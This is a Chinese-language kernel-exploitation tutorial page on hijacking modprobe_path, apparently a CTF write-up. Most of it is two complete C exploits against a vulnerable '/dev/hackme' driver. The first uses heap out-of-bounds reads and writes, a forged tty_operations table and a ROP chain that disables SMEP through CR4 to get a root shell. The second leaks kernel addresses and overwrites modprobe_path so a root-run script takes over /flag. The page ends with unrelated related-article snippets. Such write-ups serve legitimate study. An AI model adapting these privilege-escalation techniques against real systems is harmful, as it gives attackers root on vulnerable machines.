kernel劫持modprobe path内容详解

目录
  • exp1
  • exp2

exp1

smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。

smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}
void get_shell()
{
	if (getuid() == 0)
	{
		puts("[*] get root");
		system("/bin/sh");
	}
	else
	{
		puts("[-] get root error");
		sleep(3);
		exit(0);
	}
}
void get_root()
{
	//commit_creds(prepare_kernel_cred(0))
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}
int main()
{
	save_status();
	char buf[0x1000] = {0};
	size_t fake_tty_struct[4] = {0};
	size_t fake_tty_operations[35] = {0};
	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		sleep(3);
		exit(0);
	}
	add(0, 0x2e0, buf); // 0
	add(1, 0x2e0, buf); // 1
	add(2, 0x100, buf); // 2
	add(3, 0x100, buf); // 3
	delete(0);
	delete(2);
	show(3, 0x100, -0x100, buf);
	size_t heap_addr = ((size_t *)buf)[0] - 0x200;
	printf("[+] heap_addr=> 0x%lx\n", heap_addr);
	int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
	if(fd_tty < 0)
	{
		puts("[-] open ptmx error");
		sleep(3);
		exit(0);
	}
	show(1, 0x400, -0x400, buf);
	vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	int i = 0;
	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
	rop[i++] = 0x6f0;
	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = 0;
	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;
	add(2, 0x100, (char *)rop);
	fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;
	fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
	fake_tty_operations[1] = heap_addr;
	((size_t *)buf)[3] = heap_addr + 0x100;
	delete(3);
	add(3, 0x100, (char *)fake_tty_operations);
	edit(1, 0x400, -0x400, buf);
	write(fd_tty, "FXC", 3);
	return 0;
}

exp2

mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void get_flag()
{
	puts("[+] Prepare shell file.");
	system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
	system("chmod +x /shell.sh");
	puts("[+] Prepare trigger file.");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
	system("chmod +x /FXC");
	system("cat /proc/sys/kernel/modprobe");
	system("/FXC");
	system("cat /flag");
	sleep(5);
}
int main()
{
	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		sleep(3);
		exit(0);
	}
	char buf[0x1000] = {0};
	add(0, 0x100, buf); // 0
	add(1, 0x100, buf); // 1
	add(2, 0x100, buf); // 2
	add(3, 0x100, buf); // 3
	add(4, 0x100, buf); // 4
	delete(1);
	delete(3);
	show(4, 0x100, -0x100, buf);
	heap_base = ((size_t *)buf)[0] - 0x100;
	printf("[+] heap_addr=> 0x%lx\n", heap_base);
	show(0, 0x200, -0x200, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	mod_tree = vmlinux_base + 0x811000;
	modprobe_path = vmlinux_base + 0x83f960;
	memset(buf,'\x00',0x100);
	((size_t  *)buf)[0] = mod_tree + 0x40;
	edit(4, 0x100, -0x100, buf);
	add(5, 0x100, buf); // 5
	add(6, 0x100, buf); // 6
	show(6, 0x40, -0x40, buf);
	ko_base = ((size_t *)buf)[3];
	printf("[+] ko_base=> 0x%lx\n", ko_base);
	delete(2);
	delete(5);
	getchar();
	((size_t  *)buf)[0] = ko_base + 0x2400 + 0xc0;
	edit(4, 0x100, -0x100, buf);
	add(7, 0x100, buf); // 7
	add(8, 0x100, buf); // 8
	((size_t  *)buf)[0] = modprobe_path;
	((size_t  *)buf)[1] = 0x100;
	edit(8, 0x10, 0, buf);
	strncpy(buf, "/shell.sh\x00", 0xa);
	edit(12, 0xa, 0, buf);
	get_flag();
	return 0;
}

以上就是kernel劫持modprobe path内容详解的详细内容,更多关于kernel劫持modprobe path的资料请关注我们其它相关文章!

(0)

相关推荐

  • keras模型可视化,层可视化及kernel可视化实例

    keras模型可视化: model: model = Sequential() # input: 100x100 images with 3 channels -> (100, 100, 3) tensors. # this applies 32 convolution filters of size 3x3 each. model.add(ZeroPadding2D((1,1), input_shape=(38, 38, 1))) model.add(Conv2D(32, (3, 3), ac

  • 利用kernel提供的接口打印进程号(pid)

    c文件printPid.c 复制代码 代码如下: #include <linux/kernel.h>#include <linux/module.h>#include <linux/init.h>#include <linux/sched.h>#include <linux/list.h> static __init int printPid(void) //安装模块函数{    struct task_struct *task,*p;    s

  • kernel利用pt regs劫持seq operations的迁移过程详解

    目录 劫持seq_operations进行栈迁移 exp1 利用pt_regs exp2 劫持seq_operations进行栈迁移 seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来.里面定义了四个函数指针,通过他们可以泄露出内核基地址. struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_fi

  • kernel劫持modprobe path内容详解

    目录 exp1 exp2 exp1 smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位). smap:smap用户数据不可访问. 通过控制cr4寄存器为0x6f0即可绕过. #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <

  • linecache模块加载和缓存文件内容详解

    linecache模块 接触到linecache这个模块是因为前两天读attrs源码的时候看到内部代码引用了这个模块来模拟一个假文件,带着一脸疑问顺便读了一下这个模块的源码,发现其实也就那么回事儿,代码不多,在这总结一下. linecache模块可以读取文件并将文件内容缓存起来,方便后面多次读取.这个模块原本被设计用来读取Python模块的源代码,所以当一个文件名不在指定路径下的时候,模块会通过搜索路径(search path)来尝试读取文件. 接口 linecache模块的__all__参数其

  • Java使用JSONPath解析JSON完整内容详解

    JsonPath是一种简单的方法来提取给定JSON文档的部分内容. JsonPath有许多编程语言,如Javascript,Python和PHP,Java. JsonPath提供的json解析非常强大,它提供了类似正则表达式的语法,基本上可以满足所有你想要获得的json内容. maven中添加jar包 JsonPath可在Central Maven存储库中找到. Maven用户将其添加到您的POM. com.jayway.jsonpath json-path 2.2.0 操作符 操作 说明 $

  • Web应用中设置Context Path案例详解

    URL:http://hostname.com/contextPath/servletPath/pathInfo Jetty 如果没有contextPath,则默认使用root上下文,root上下文的路径为"/". warName.war 在没有XML IoC文件的情况下: 如果WAR文件名是myapp.war,那么上下文路径是:/myapp: 如果WAR文件名是ROOT.war,那么上下文路径是:/: 如果WAR文件名是ROOT-foobar.war,那么上下文路径是/,虚拟host

  • python简单几步获取各种DOS命令显示的内容详解流程

    我们经常在C/C++中用"system("pause");"作暂停语句外,还有很多可以用system()调用,比如以下这些dos命令的功能也很不错: system("title C++颜色设置程序"); //设置控制台窗口的标题,即cmd.exe的标题 system("mode con cols=64 lines=25"); //设置窗口宽度高度 system("date /t"); //显示日期 syst

  • JVM入门之JVM内存结构内容详解

    一.java代码编译执行过程 源码编译:通过Java源码编译器将Java代码编译成JVM字节码(.class文件) 类加载:通过ClassLoader及其子类来完成JVM的类加载 类执行:字节码被装入内存,进入JVM虚拟机,被解释器解释执行   注:Java平台由Java虚拟机和Java应用程序接口搭建,Java语言则是进入这个平台的通道,   用Java语言编写并编译的程序可以运行在这个平台上 二.JVM简介 1.java程序经过一次编译之后,将java代码编译为字节码也就是class文件,然

  • Django web框架使用url path name详解

    quicktool/view.py文件修改视图函数index(),渲染一个home.html模板 from django.shortcuts import render def index(request): return render(request, 'home.html') quicktool(应用app)下创建一个templates文件夹(模板),在templates下创建一个home.html <!DOCTYPE html> <html> <head> <

  • Python利用Beautiful Soup模块搜索内容详解

    前言 我们将利用 Beautiful Soup 模块的搜索功能,根据标签名称.标签属性.文档文本和正则表达式来搜索. 搜索方法 Beautiful Soup 内建的搜索方法如下: find() find_all() find_parent() find_parents() find_next_sibling() find_next_siblings() find_previous_sibling() find_previous_siblings() find_previous() find_al

  • Android如何禁止向EditText控件中输入内容详解

    前言 在Android开发中经常会遇到EditText控件,而在App开发过程中.遇到了这样一个问题.那就是Android EditText控件如何禁止往里面输入内容? 最开始找到修改版解决方法.但是当想输入的时候就有问题了.可以参考一下.但不建议这样写 EditText editText = (EditText) findViewById(R.id.editText1); editText.setKeyListener(null); 看到这个问题大家可能有点奇怪了.EditText的功能不就是

  • Linux中利用grep命令如何检索文件内容详解

    前言 Linux系统中搜索.查找文件中的内容,一般最常用的是grep命令,另外还有egrep命令,同时vi命令也支持文件内容检索.下面来一起看看Linux利用grep命令检索文件内容的详细介绍. 方法如下: 1.搜索某个文件里面是否包含字符串 命令格式:grep "被查找的字符串" filename1 例如: grep "0101034175" /data/transaction.20170118.log 2.在多个文件中检索某个字符串 命令格式: grep &qu

随机推荐